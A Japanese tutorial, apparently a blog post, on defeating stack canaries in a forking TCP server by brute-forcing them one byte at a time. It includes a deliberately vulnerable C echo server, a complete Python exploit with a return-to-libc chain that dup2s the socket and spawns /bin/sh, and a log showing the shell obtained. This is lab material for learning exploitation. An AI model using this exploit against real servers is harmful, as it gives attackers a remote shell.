byte-by-byte bruteforceによるSSP回避
「Improper Null Terminationを利用したSSP回避」では、stack canaryの先頭にあるNULLバイトを上書きすることでcanaryの読み出しを行った。 この方法のほかにも、ネットワークサーバがforkサーバとして実装されている場合、1バイトごとのブルートフォースでcanaryを読み出すこともできる。 ここでは、簡単なforkサーバを用意し、ブルートフォースによりSSPを回避してシェルを起動してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
クライアントからの接続を受け付けるごとにforkするTCPサーバを書いてみる。
/* echod.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> void handle_client(int c) { char buf[100]; int size; printf("[+] client socket fd = %d\n", c); printf("[+] canary = %08x\n", *(int *)(buf+sizeof(buf))); recv(c, &size, 4, 0); recv(c, buf, size, 0); send(c, buf, size, 0); } int main(int argc, char *argv[]) { int s, c; struct sockaddr_in addr; int port; int pid; port = atoi(argv[1]); s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr *)&addr, sizeof(addr)); listen(s, 5); while (1) { c = accept(s, NULL, NULL); pid = fork(); if (pid == 0) { close(s); handle_client(c); send(c, "bye", 4, 0); close(c); return 0; } else { close(c); } } }
このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。
ASLR無効、DEP、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc echod.c $ ./a.out 5000 & [1] 28434 $ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000 [+] client socket fd = 4 [+] canary = 383a2600 AAAAbye
4バイトのデータを受信し、そのまま送り返せていることがわかる。 また、このときのクライアントソケットのファイルディスクリプタ番号は4、canaryの値は383a2600となっている。
子プロセスのstack canaryについて確認してみる
forkは親プロセスのプロセス空間をコピーすることで子プロセスを作る。そのため、canaryの値は親プロセスと子プロセスで同じになる。 つまり、何度forkしても子プロセスのcanaryの値はすべて同じ値となる。 このことは、上のプログラムで立ち上げたサーバに複数回接続することによって確認できる。
$ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000 [+] client socket fd = 4 [+] canary = 383a2600 AAAAbye $ echo -e "\x04\x00\x00\x00BBBB" | nc localhost 5000 [+] client socket fd = 4 [+] canary = 383a2600 BBBBbye
常にcanaryの値が0x383a2600となっていることがわかる。 このことを利用すると、canaryの値を1バイトずつブルートフォースすることができる。 最初の1バイトは必ず0x00となるようになっているため、canaryの値は最大256*3 = 768回で得ることができる。
なお、execveはプロセス空間を新しいプログラムによって置き換える。そのため、stack canaryはexecveの前後で別の値となる。
エクスプロイトコードを書いてみる
上の内容をもとに、canaryの値を1バイトずつブルートフォースするエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct import socket import telnetlib base_libc = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh" addr_libc_dup2 = base_libc + 0x000dfba0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " dup2" addr_pop = 0x80485e3 # objdump -d a.out | grep -B2 ret addr_pop2 = 0x80485e2 # objdump -d a.out | grep -B2 ret sock_fd = 4 canary = '' while len(canary) < 4: for i in xrange(256): s = socket.create_connection(('localhost', 5000)) buf = 'A' * bufsize + canary + chr(i) s.sendall(struct.pack('<I', len(buf))) s.sendall(buf) s.recv(len(buf)) buf = s.recv(4) s.close() if 'bye' in buf: canary += chr(i) print "[+] canary byte found: %r" % chr(i) break print "[+] canary = %r" % canary buf = 'A' * bufsize buf += canary buf += 'AAAA' * 3 buf += struct.pack('<I', addr_pop) # we need to save [ebp+0x08] for following send() buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', addr_libc_dup2) buf += struct.pack('<I', addr_pop2) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', 0) buf += struct.pack('<I', addr_libc_dup2) buf += struct.pack('<I', addr_pop2) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', 1) buf += struct.pack('<I', addr_libc_system) buf += struct.pack('<I', addr_libc_exit) buf += struct.pack('<I', addr_libc_binsh) buf += struct.pack('<I', 0) s = socket.create_connection(('localhost', 5000)) s.sendall(struct.pack('<I', len(buf))) s.sendall(buf) print "[+] received: %r" % s.recv(8192) t = telnetlib.Telnet() t.sock = s t.interact() s.close()
このコードは、libcのベースアドレス、バッファサイズを順に引数に取る。
ブルートフォースにおいては、canaryの書き換え後通常通り "bye" が送られてくるかどうかで値が一致しているかどうかを判定している。
また、次に示すディスアセンブル結果から、recvした後にも[ebp+0x8]
としてsendの第一引数となる変数 c (=4) が参照されていることがわかる。
$ objdump -d a.out | sed -n '/<handle_client>:/,/^$/p' 08048614 <handle_client>: ... 8048693: e8 98 fe ff ff call 8048530 <recv@plt> 8048698: 8b 45 8c mov eax,DWORD PTR [ebp-0x74] 804869b: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0 80486a2: 00 80486a3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486a7: 8d 45 90 lea eax,[ebp-0x70] 80486aa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80486ae: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486b1: 89 04 24 mov DWORD PTR [esp],eax 80486b4: e8 97 fe ff ff call 8048550 <send@plt> 80486b9: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80486bc: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80486c3: 74 05 je 80486ca <handle_client+0xb6> 80486c5: e8 c6 fd ff ff call 8048490 <__stack_chk_fail@plt> 80486ca: c9 leave 80486cb: c3 ret
このため、スタックバッファオーバーフローさせた後も[ebp+0x8]
に4が入るように調整する必要がある。
その後、dup2でソケットのファイルディスクリプタを標準入出力に複製した後system関数からシェルを起動する。
また、エクスプロイトコード側では最後に端末からの入出力をソケットに繋ぐ必要があるが、ここではtelnetlibライブラリを利用してこれを行っている。
このコードを実行すると、サーバを起動した端末ではSSPによって出力されるエラーメッセージが大量に流れる。 そこで別の端末から、引数をセットしエクスプロイトコードを実行する。 ここで、libcのベースアドレスはgdbなどを利用して調べる。
$ python exploit.py 0xb7e2b000 100 [+] canary byte found: '\x00' [+] canary byte found: '&' [+] canary byte found: ':' [+] canary byte found: '8' [+] canary = '\x00&:8' [+] received: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00&:8AAAAAAAAAAAA\xe3\x85\x04\x08\x04\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x00\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x01\x00\x00\x000\xa4\xe6\xb7\xb0\xdf\xe5\xb7\x98\xcd\xf8\xb7\x00\x00\x00\x00' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
ブルートフォースによりcanaryの値が得られ、シェルが起動できていることが確認できた。